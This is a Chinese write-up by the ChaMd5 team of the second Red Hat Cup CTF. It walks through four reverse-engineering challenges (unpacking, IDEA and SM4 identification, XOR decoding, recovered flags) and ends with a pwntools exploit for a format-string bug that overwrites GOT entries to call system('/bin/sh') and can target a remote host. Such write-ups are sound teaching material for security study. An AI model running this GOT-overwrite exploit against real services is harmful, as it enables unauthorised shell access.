第二届红帽杯4Re + 1Pwn的writeup

  • icm

直接静态分析,主流程伪代码如下:


  1. int __fastcall main(__int64 a1, char **a2, char **a3)

  2. {

  3.   int result; // eax

  4.   char v4; // [rsp+20h] [rbp-50h]

  5.   int v5; // [rsp+48h] [rbp-28h]

  6.   __int16 v6; // [rsp+4Ch] [rbp-24h]

  7.   unsigned __int64 v7; // [rsp+58h][rbp-18h]

  8.  

  9.   v7 = __readfsqword(0x28u);

  10.   memset(&v4, 0, 0x28uLL);

  11.   v5 = 0;

  12.   v6 = 0;

  13.   if ( (unsignedint)input_2047(&v4) != 42 )    //length == 42

  14.     return -1;

  15.   result = check_1E84(&v4, 42);

  16.   if ( result == 1 )

  17.     result = puts("You Are Right!");

  18.   return result;

  19. }



  1. signed __int64 __fastcallcheck_1E84(const char *a1, int a2)

  2. {

  3.   int v3; // [rsp+4h] [rbp-13Ch]

  4.   int i; // [rsp+18h] [rbp-128h]

  5.   int j; // [rsp+18h] [rbp-128h]

  6.   int k; // [rsp+18h] [rbp-128h]

  7.   char v7; // [rsp+20h] [rbp-120h]

  8.   unsigned __int64 v8; // [rsp+128h][rbp-18h]

  9.  

  10.   v8 = __readfsqword(0x28u);

  11.   memset(&v7, 0, 0x100uLL);

  12.   if ( a2 % 8 )

  13.   {

  14.     for ( i = 0; 8 - a2 % 8 > i;++i )

  15.       a1[a2 + i] = -35;

  16.     a1[a2 + i] = 0;

  17.   }

  18.   v3 = strlen(a1);

  19.   for ( j = 0; v3 / 8 > j; ++j )

  20.     encryt_1CFF((char *)&a1[8 *j], 8);         // 6 group 8 bytes

  21.   for ( k = 0; k < v3; ++k )

  22.   {

  23.     if ( ((0x77 - k) ^ (unsigned__int8)a1[k]) != byte_203040[k] )

  24.       return 0xFFFFFFFFLL;

  25.   }

  26.   return 1LL;

  27. }



  1. __int64 __fastcall encryt_1CFF(char *a1, signed int a2)

  2. {

  3.   __int64 result; // rax

  4.   unsigned __int8 i; // [rsp+1Fh][rbp-41h]

  5.   unsigned __int8 j; // [rsp+1Fh][rbp-41h]

  6.   unsigned __int64 v5; // [rsp+20h][rbp-40h]

  7.   __int64 v6; // [rsp+28h] [rbp-38h]

  8.   char s[16]; // [rsp+30h] [rbp-30h]

  9.   unsigned __int64 v8; // [rsp+48h][rbp-18h]

  10.  

  11.   v8 = __readfsqword(0x28u);

  12.   v5 = 0LL;

  13.   v6 = 0LL;

  14.   *(_QWORD *)s = 0LL;

  15.   *(_QWORD *)&s[8] = 0LL;

  16.   gen_key_1BAC();

  17.   for ( i = 0; i < a2; ++i )

  18.   {

  19.     s[2 * i] = hex_1AAD((unsigned__int8)a1[i] >> 4);

  20.     s[2 * i + 1] = hex_1AAD(a1[i]& 0xF);

  21.   }

  22.   __isoc99_sscanf(s,"%016llx", &v5);

  23.   en_CCE(v5,(__int64)random_hex_203090, &v6);

  24.   sprintf(s, "%016llx",v6);

  25.   for ( j = 0; ; ++j )

  26.   {

  27.     result = j;

  28.     if ( j >= a2 )

  29.       break;

  30.     a1[j] = unhex_1AFE(&s[2 *j]);

  31.     a1[j] ^= 8 - j;

  32.   }

  33.   return result;

  34. }


   


  1. __int64 __fastcall sub_CCE(unsigned __int64 a1, __int64 a2, _QWORD *a3)

  2. {

  3.   _QWORD *v4; // [rsp+8h] [rbp-C8h]

  4.   signed int i; // [rsp+24h][rbp-ACh]

  5.   signed int j; // [rsp+24h][rbp-ACh]

  6.   signed int l; // [rsp+24h][rbp-ACh]

  7.   signed int k; // [rsp+28h][rbp-A8h]

  8.   unsigned int v9; // [rsp+2Ch][rbp-A4h]

  9.   __int16 v10[8]; // [rsp+30h][rbp-A0h]

  10.   _WORD v11[4]; // [rsp+40h][rbp-90h]

  11.   char v12[96]; // [rsp+50h][rbp-80h]

  12.   unsigned __int16 v13; // [rsp+B0h][rbp-20h]

  13.   __int16 v14; // [rsp+B2h][rbp-1Eh]

  14.   __int16 v15; // [rsp+B4h][rbp-1Ch]

  15.   unsigned __int16 v16; // [rsp+B6h][rbp-1Ah]

  16.   unsigned __int64 v17; // [rsp+B8h][rbp-18h]

  17.  

  18.   v4 = a3;

  19.   v17 = __readfsqword(0x28u);

  20.   for ( i = 0; i <= 3; ++i )

  21.     v10[i] = a1 >> 16 * (3 -(unsigned __int8)i);

  22.   v9 = sub_1430((_WORD *)a2, v12);

  23.   for ( j = 0; j <= 7; ++j )

  24.   {

  25.     sub_118A((unsigned __int16*)v10, (unsigned __int16 *)&v12[12 * j], v11);

  26.     for ( k = 0; k <= 3; ++k )

  27.       v10[k] = v11[k];

  28.   }

  29.   swap_B37(&v11[1],&v11[2]);

  30.   v11[0] = mul_A46(v11[0], v13);

  31.   v11[1] = add_9F5(v11[1], v14);

  32.   v11[2] = add_9F5(v11[2], v15);

  33.   v11[3] = mul_A46(v11[3], v16);

  34.   *v4 = v11[0];

  35.   for ( l = 1; l <= 3; ++l )

  36.     *v4 = (unsigned __int16)v11[l] |(*v4 << 16);

  37.   return v9;

  38. }

通过加密函数的分组、及具体算法里的swap,mul,add我操作,看出是idea算法。

直接dump伪随机数生成的固定key(hex):18fe9c970a7296f5c2fdeeae147592aa

通过简单异或得到目标加密串。


  1. a='D0E0AB9CCD785B543DE4EA3351446D3**ECEDFB541001CECE31BC38C91257F1B60FE359CEA044C878D97935CB89A7075'.decode('hex')

  2. >>> s=''

  3. >>> for i in range(48):

  4. ...   s += chr(ord(a[i])^(0x77-i))

  5. ...

  6. >>> s.encode('hex')

  7. 'a796dee8be0a2a24528a875f3a2e045429a8bad122627d8cbc459ed0ca7f264337a860c8b9561dd7c2d9de10f3d0393d'

  8. >>> s1=''

  9. >>> for i in range(48):

  10. ...   s1 += chr(ord(s[i])^(8-(i%8)))

  11. ...

  12. >>> s1.encode('hex')

  13. 'af91d8edba0928255a8d815a3e2d065521afbcd426617f8db44298d5ce7c24423faf66cdbd551fd6caded815f7d33b3c'


直接用工具解密得到flag(去除尾部补位):

flag{f53fc1db-b7d3-4643-9b48-725f13129d07}



  • ccm

还是直接静态分析,有壳,不过壳比较简单,简单跟下,对照静态分析,发现OEP跳转位置。


  1. .nsp1:0040640C                 popa

  2. .nsp1:0040640D                 popf

  3. .nsp1:0040640E                 jmp     near ptr byte_401939


去除动态基地直接在40640E 下断,f8,dump,利用偏移2000 处API地址修复IAT,脱壳完成。

主要伪代码如下:


  1. int __cdecl main(int argc, const char **argv, const char **envp)

  2. {

  3.   FILE *v3; // eax

  4.   char v5; // [esp+1h] [ebp-55h]

  5.   char Buf[44]; // [esp+2h][ebp-54h]

  6.  

  7.   Buf[0] = 0;

  8.   memset(&Buf[1], 0, 0x4Fu);

  9.   puts("Input Flag");

  10.   v3 = _iob_func();

  11.   fgets(Buf, 44, v3);

  12.   if ( Buf[42] != 10 )

  13.     return -1;

  14.   Buf[43] = 0;

  15.   *(&v5 + strlen(Buf)) = 0;

  16.   if ( strlen(Buf) != 42 )

  17.     return -1;

  18.   if ( check_401380((int)Buf, 42) ==1 )

  19.     printf("Right!n");

  20.   return 0;

  21. }



  1. int __fastcall check_401380(int a1, int a2)

  2. {

  3.   int num; // ebx

  4.   _BYTE *input; // esi

  5.   void *heap1; // ebx

  6.   _BYTE *heap2; // edi

  7.   int v7; // ecx

  8.   void *v8; // ST14_4

  9.   void (__cdecl *v9)(void *); // ebx

  10.   int v10; // edx

  11.   signed int v11; // eax

  12.   signed int v12; // esi

  13.   unsigned int v13; // ecx

  14.   int input_1; // [esp+8h][ebp-5CCh]

  15.   int num1; // [esp+Ch] [ebp-5C8h]

  16.   int num1a; // [esp+Ch] [ebp-5C8h]

  17.   char s2; // [esp+13h] [ebp-5C1h]

  18.   char s3; // [esp+14h] [ebp-5C0h]

  19.   char s4; // [esp+15h] [ebp-5BFh]

  20.   char s1; // [esp+16h] [ebp-5BEh]

  21.   char s5; // [esp+17h] [ebp-5BDh]

  22.   char v22; // [esp+18h] [ebp-5BCh]

  23.   char v23[729]; // [esp+2F4h][ebp-2E0h]

  24.  

  25.   num = a2;

  26.   input = (_BYTE *)a1;

  27.   num1 = a2;

  28.   input_1 = a1;

  29.   dword_4033CC = GetTickCount();

  30.   if ( format_check_401320(input, num) != 1)   // flag{

  31.                                                // idx  13 18 23 28 为_

  32.     return -1;

  33.   random_str_84_401280();

  34.   heap1 = malloc(0x100u);

  35.   heap2 = malloc(0x100u);

  36.   memset(heap1, 0, 0x100u);

  37.   memset(heap2, 0, 0x100u);

  38.   hex_4012C0((int)heap1, input_1,num1);

  39.   GetTickCount();

  40.   sub_401000(v23, &v22);

  41.   sub_401170((int)heap2, (const char*)heap1, v7, (int)v23, (int)&v22);

  42.   v8 = heap1;

  43.   v9 = free;

  44.   free(v8);

  45.   GetTickCount();

  46.   s1 = heap2[7];

  47.   s2 = heap2[23];

  48.   s3 = heap2[39];

  49.   s4 = heap2[55];

  50.   s5 = heap2[71];

  51.   num1a = 2 * num1;

  52.   if ( num1a <= 0 )

  53.   {

  54. LABEL_11:

  55.     v9(heap2);

  56.     v13 = (dword_4021C0[(unsigned__int8)(LOBYTE(dword_4021C0[(unsigned __int8)

  57.     (LOBYTE(dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned__int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)]) ^((unsigned __int16)(LOWORD(dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((dword_4021C0[(unsigned__int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8) ^ s4)] ^((dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^ ((unsigned__int16)~LOWORD(dword_4021C0[(unsigned __int8)~s1]) >> 8) ^ s3)] ^((dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^s2)] ^ ((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >>8)) >> 8)) >> 8;

  58.     return 2

  59.          * (~(dword_4021C0[(unsigned__int8)(LOBYTE(dword_4021C0[(unsigned __int8)(LOBYTE(dword_4021C0[(unsigned__int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned__int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned__int8)~s1]) >> 8) ^ s3)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)]) ^((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8) ^s4)]) ^ ((unsigned __int16)(LOWORD(dword_4021C0[(unsigned__int8)(LOBYTE(dword_4021C0[(unsigned __int8)(~LOBYTE(dword_4021C0[(unsigned__int8)~s1]) ^ s2)]) ^ ((unsigned __int16)~LOWORD(dword_4021C0[(unsigned__int8)~s1]) >> 8) ^ s3)]) ^ ((dword_4021C0[(unsigned__int8)(~LOBYTE(dword_4021C0[(unsigned __int8)~s1]) ^ s2)] ^((dword_4021C0[(unsigned __int8)~s1] ^ 0xFFFFFFu) >> 8)) >> 8))>> 8) ^ s5)] ^ v13) == 0x9D945A6E)

  60.          - 1;

  61.   }

  62.   v10 = num1a;

  63.   v11 = 0xCC;

  64.   v12 = 7;

  65.   while ( v11 - 0xCC == v12 )

  66.   {

  67.     v12 += 16;

  68. LABEL_9:

  69.     if ( ++v11 - 0xCC >= v10 )

  70.     {

  71.       v9 = free;

  72.       goto LABEL_11;

  73.     }

  74.   }

  75.   if ( *((unsigned __int8*)&dword_402160[-51] + v11) == (v11 % 256 ^ (char)heap2[v11 - 0xCC]) )

  76.   {

  77.     v10 = num1a;

  78.     goto LABEL_9;

  79.   }

  80.   free(heap2);

  81.   return -1;

  82. }



更多代码就不上了。算法比较简单,除了CRC32 hash,也没有通用加密算法。

先是格式检查,前5字节为:


  1. >>> print ''.join([chr(i^0x99) for i in [0xFF, 0xF5, 0xF8,0xFE,  0xE2]])

  2. flag{

42bytes输入字串index 为  13 18 23 28 处的字符是 

然后生成三张表,其中一张是通过伪随机数生成。对输入hex并进行简单置换。得到84bytes的字串,最后异或比较79bytes,其余5bytes通过crc32校验,5bytes中其中有1字节是由 的低4位生成,值已确定,众所周知,通过最后4bytes能更改到任何crc32值,所以crc32只能确定唯一的4byte。

虽然以前做gslab把crc32其及4byte逆推都做了查表实现,为了简化代码,crc32部分只能跑一下了。代码如下:


  1. import string

  2. from zlib import crc32

  3.  

  4. table1 = 'GHIJKLMNOPQRSTUV'

  5. table2 = 'sxcunsbjptdunaaxklcvxsikxiewcmpwdngfqtfvomgkbwjrmccntqlratukzoafmngbyykjtabnhrnmweln'

  6. table3 = string.lowercase

  7. table4 = 'GHIJKLMNOP1234567890'

  8. str_t = [

  9.         0x81, 0x80, 0x83, 0xBA,0x9D, 0x99, 0x9F, 0x00,

  10.         0x9A, 0xAC, 0x9C, 0x9B,0x92, 0x92, 0x97, 0x96,

  11.         0x96, 0x8D, 0x94, 0x94, 0xAA,0xAC, 0xAF, 0x00,

  12.         0xAE, 0xA9, 0xAF, 0x81,0xA5, 0xA4, 0xA0, 0xBB,

  13.         0xA6, 0xA1, 0xA3, 0xA7,0xB9, 0x89, 0xB8, 0x00,

  14.         0xB9, 0xBD, 0xBC, 0xB0,0xB5, 0xB1, 0xB3, 0x8A,

  15.         0xB1, 0xB4, 0xB3, 0xB7,0x4A, 0x4B, 0x48, 0x00,

  16.         0x4D, 0x73, 0x4C, 0x49, 0x45, 0x40, 0x40,0x43,

  17.         0x46, 0x43, 0x44, 0x47,0x5D, 0x59, 0x58, 0x00,

  18.         0x59, 0x59, 0x5B, 0x5D,0x55, 0x51, 0x50, 0x54,

  19.         0x56, 0x54, 0x50, 0x7A]

  20.        

  21. str_s = ''

  22. l = 'NMKHN'

  23. count = 0

  24. for i in range(84):

  25.   if i%16 != 7:

  26.     str_s +=chr(str_t[i]^((0xcc+i)%256))

  27.   else:

  28.     str_s += l[count]

  29.     count += 1

  30. print str_s

  31. str_s_s = ''

  32. count = 0

  33. for i in  str_s:

  34.   if i == '-':

  35.     str_s_s += '-'

  36.   elif i.islower():

  37.     c = ord(table2[count]) - 0x61

  38.     c1 =(table3[c:]+table3[:c]).index(i)

  39.     str_s_s += table3[c1]

  40.     count += 1

  41.   else:

  42.     str_s_s += str(table1.index(i))

  43. print str_s_s   

  44. #for i1 in table4:

  45. #  for i2 in table4:

  46. #   for i3 in table4:

  47. #    for i4 in table4:

  48. #      if crc32(('N'+i1+i2+i3)+i4)&0xffffffff== 0x9D945A6E:

  49. #        print i1+i2+i3+i4

  50. #MKHN

最终flag为:flag{12345678-1234-1234-1234-1234567890ab}

  • explain

同样有壳,简单静态看下就能看到OEP的跳转:

  1. 0040817C   .- E9 F398FFFF   jmp Explain.00401A74


还是同样的下断,dump,修复IAT。


  1. int __cdecl main(int argc, const char **argv, const char **envp)

  2. {

  3.   gen_vmcode_401000();

  4.   run_vm_code_401410();

  5.   free(heap1);

  6.   free(vm_code_403368);

  7.   return 0;

  8. }


此题是简单的VM题。做题过程中,作了简单的记录,记录不全,将就看吧。


22 heap1[data] = getchar                                        3 data<0x1000

23 word_403374[data] = getchar                                  2  data <4

24 heap1[word_403374[data]] = getchar                           2  data <4

25 putchar heap1(data)                                         3  data <0x1000

26 putchar word_403374[data]                                    2  data <4

27 putchar heap1(word_403374[data])                             2  data <4

 

29 word_403374[data_0] = data1_2                                4  data0 <4

2b heap1[data0_1] = data_2                                      4  data1_2<0x1000

2c word_403374[data_0] eq word_403374[data_1]                   3 data <4

2e                                                             3  data<4

2f heap1[word_403374[data_0]] eq heap1[word_403374[data_1]]     3 data<4

2d word_403374[data_0] eq data1_2                               4  data<4

31 word_403374[data_0] += data_1_2                              4 data_0 <4

38 heap1[word_403374[data_0]] ^= data_1_2                       4 data_0 <4

39 heap1[word_403374[data_0]] ^= word_403374[data_1]            3 data<4

3a vm_off_403370 = data_0_1                                    3 data<0x1000

3b                                                             3 data <0x1000

3c vm_off_403370 = data_0_1                                     3 data<0x1000

3e ret == 1




  1. heap1[A0] = target_str

  2.  

  3. reg0 60

  4. reg1 00

  5. loop1:

  6. heap1[60] = getchar

  7. reg0 + 1 = 61

  8. reg1 + 1 = 1

  9. reg1 == 23? ne goto loop1 off = ac

  10.  

  11. reg0 60

  12. reg1 0

  13. loop2:

  14. heap1[60]^reg1  input

  15. reg0++

  16. reg1++

  17. reg1 == 23 ? ne goto loop2  off=c5

  18.  

  19. reg0 60

  20. reg1 a0

  21. reg2 00

  22. heap[reg0] == heap[reg1] ?

  23. off = 11a

  24.  

  25. reg0 = 40

  26. reg1 = 00

  27. heap[reg0] ^= dd

  28. putchar heap[reg0]

  29. reg0++

  30. reg1++

  31. reg1 ==2 ?  off=104

  32.  

  33. heap[reg0] ^= dd

VM代码有部分解析没记录,大概流程能看出来

就是先初始化目标校验字串,然后输入35字节,并将其与自身index异或,最后与目标字串比较校验。然后打印结果。


  1. >>>a=[0x66,0x6D,0x63,0x64,0x7F,0x51,0x6E,0x36,0x7B,0x56,0x3B,0x78,0x53,0x59,0x67,0x41,0x69,0x4E,0x44,0x7A,0x66,0x61,0x43,0x56,0x29,0x46,0x57,0x7A,0x7F,0x55,0x77,0x71,0x45,0x00,0x5F]

  2. >>> s=''

  3. >>> for i in range(len(a)):

  4. ...   s+=chr(a[i]^i)

  5. ...

  6. >>> s

  7. 'flag{Th1s_1s_TiNy_VirtUA1_MacHine!}'


  • wcm

做了icm,ccm,再做到这题也没什么了。大概流程相同。输入为42bytes。然后进行分组加密,最后进行异或并与常量串校验。

至于加密算法,很容易就能看出,国密4,因为算法没有进行过任何更改,所以SBOX,FK等都没有变,直接能对应上加密算法。

异或得到加密串:


>>> st = [

...     0xF4, 0x88, 0x91, 0xC2,0x9B, 0x20, 0x5B, 0x03,

...     0xF1, 0xED, 0xF6, 0x13,0x46, 0x3C, 0x55, 0x81,

...     0x61, 0x0F, 0xFF, 0x14,0x6E, 0x1C, 0x48, 0x28,

...     0x79, 0x9F, 0x85, 0xAF,0xC5, 0x58, 0x0D, 0xD6,

...     0xA5, 0xD9, 0x64, 0xFD,0x46, 0x09, 0x8C, 0xDF,

...     0x3B, 0xA5, 0x37, 0x62,0x5A, 0xA6, 0xD2, 0x4B]

>>> 

... ss = ''

>>> for i in range(len(st)):

...   ss += chr(st[i]^(51+i))

...

>>> print ss.encode('hex')

c7bca4f4ac186239cad1cb2d797c14c3224bba522954016232d3c8e18a085c84f68d31ab1151d58560f96a3c05c6b329

>>> 


密钥为伪随机数生成的固定钥,

dump:DA98F1DA312AB753A5703A0BFD290DD6

直接工具解密得到:flag{e4435341-401a-4bc4-96c1-eadf1951d904}


  • Starcraft RPG

此题是借助堆的格式化漏洞利用题。 在角色建立时,只有2角色是先分配存储name 的堆,后分配存储格式化串的堆。而角色1在写格式化串时有个选择,如果不为1或2则不写格式化串。

利用思路就是先创建角色2,name 处写上格式化串,删除,再创建角色1,并不写格式化串。这时角色1的格式化串就是角色2时写的name。因为free再分配堆时还有转large bin的过程。所以name的前16字节会被覆盖,格式化串要偏移16字节。

剩下的就是格式化的利用了。不多说,主要是改atoi 调用为system 调用。因为此函数一直调用,所以需要中转下,最后一步再让其跳转到system。直接看exp代码。


  1. #!/usr/bin/env python

  2. from pwn import *

  3.  

  4. def fmt(fmtstr,debug=False):

  5.     global p

  6.     p.recvuntil('exitn')

  7.     p.sendline('1')

  8.     p.recvuntil('Kerrigann')

  9.     p.sendline('2')

  10.     p.recvuntil('name: ')

  11.    p.sendline("0"*16+fmtstr)

  12.     if (debug):

  13.         gdb.attach(p,'b *0x804884C')

  14.  

  15.     delete(0)

  16.  

  17.     p.recvuntil('exitn')

  18.     p.sendline('1')

  19.     p.recvuntil('Kerrigann')

  20.     p.sendline('1')

  21.     p.recvuntil('name: ')

  22.     p.sendline('B'*8)

  23.    p.recvuntil("StimPackn")

  24.     p.sendline('3')

  25.  

  26.     p.recvuntil('exitn')

  27.     p.sendline('2')

  28.  

  29. def j_fmt(fmtstr):

  30.     global p

  31.     fmt(fmtstr)

  32.     p.recvuntil('do?')

  33.     delete(0)

  34.  

  35. def delete(idx):

  36.     global p

  37.     p.recvuntil('exitn')

  38.     p.sendline('3')

  39.    p.recvuntil("delete?n")

  40.     p.sendline(str(idx))

  41.  

  42.  

  43. def pwn():

  44.     global p

  45.     system_off =  0x3a940

  46.     libc_main_ret_off = 0x18637

  47.     # system_off =  0x40310

  48.     # libc_main_ret_off = 0x19af3

  49.     setb_got_plt = 0x804B00C

  50.     setb_plt = 0x80484d0

  51.     atoi_got_plt = 0x804B038

  52.  

  53.  

  54.    fmt('%213$xDEADBEEF',debug=False)

  55.     p.recv(16)

  56.     ret =p.recvuntil('DEADBEEF')[:-8]

  57.     ret_addr = int(ret,16)   

  58.     system_addr = ret_addr -libc_main_ret_off+ system_off

  59.     sys_l = system_addr&0xffff

  60.     sys_h = system_addr >> 16

  61.     raw_input('?')

  62.     delete(0)

  63.  

  64.     fmtstr_addr = '%%%dc%%204$nx00'

  65.     fmtstr_val1 ='%%%dc%%212$hnx00'

  66.     fmtstr_val2 = '%%%dc%%212$nx00'

  67.  

  68.     fmtstr =fmtstr_addr%(setb_got_plt-0x10)

  69.     j_fmt(fmtstr)

  70.  

  71.     fmtstr =fmtstr_val1%(sys_l-0x10)

  72.     j_fmt(fmtstr)

  73.  

  74.     fmtstr =fmtstr_addr%(setb_got_plt-0x10+2)

  75.     j_fmt(fmtstr)

  76.  

  77.     fmtstr =fmtstr_val1%(sys_h-0x10)

  78.     j_fmt(fmtstr)

  79.  

  80.     fmtstr =fmtstr_addr%(atoi_got_plt-0x10)

  81.     j_fmt(fmtstr)   

  82.     fmt(fmtstr_val2%(setb_plt-0x10))

  83.     p.recvuntil('exitn')

  84.     p.sendline("/bin/sh")

  85.     p.interactive()

  86.  

  87. if __name__  ==  '__main__':

  88.     context.arch = 'i386'

  89.     # libc = ELF('./libc.so.6')

  90.     if len(sys.argv) < 2:

  91.         # p =process('./babyheap',env ={'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc-2.19.so'})  

  92.         p = process('./pwn4')

  93.         context.log_level ='debug'       

  94.     else:  

  95.         p = remote(sys.argv[1],int(sys.argv[2]))

  96.         context.log_level = 'debug'

  97.         # context.log_level ='debug'

  98. pwn()



本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/71342.html

Tags:
评论  (0)
快来写下你的想法吧!

ChaMd5安全团队

文章数:85 积分: 181

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号